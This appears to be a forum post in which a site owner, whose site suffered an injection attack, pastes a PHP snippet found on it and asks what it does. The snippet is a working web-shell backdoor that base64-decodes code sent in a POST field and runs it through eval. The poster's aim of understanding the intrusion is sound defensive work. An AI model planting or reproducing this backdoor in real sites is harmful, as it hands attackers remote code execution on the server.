I don't know if itsit's considered a no noor not to include a single piece of code that might be malicious. But recently my site was a victim of some URL injection. I was wondering if anyone can tell me what this piece of code does.:
<?php
$mujj = $_POST['x'];
if ($mujj!="") {
$xsser=base64_decode($_POST['z0']);
@eval("\$safedg = $xsser;");
} ?>
<?php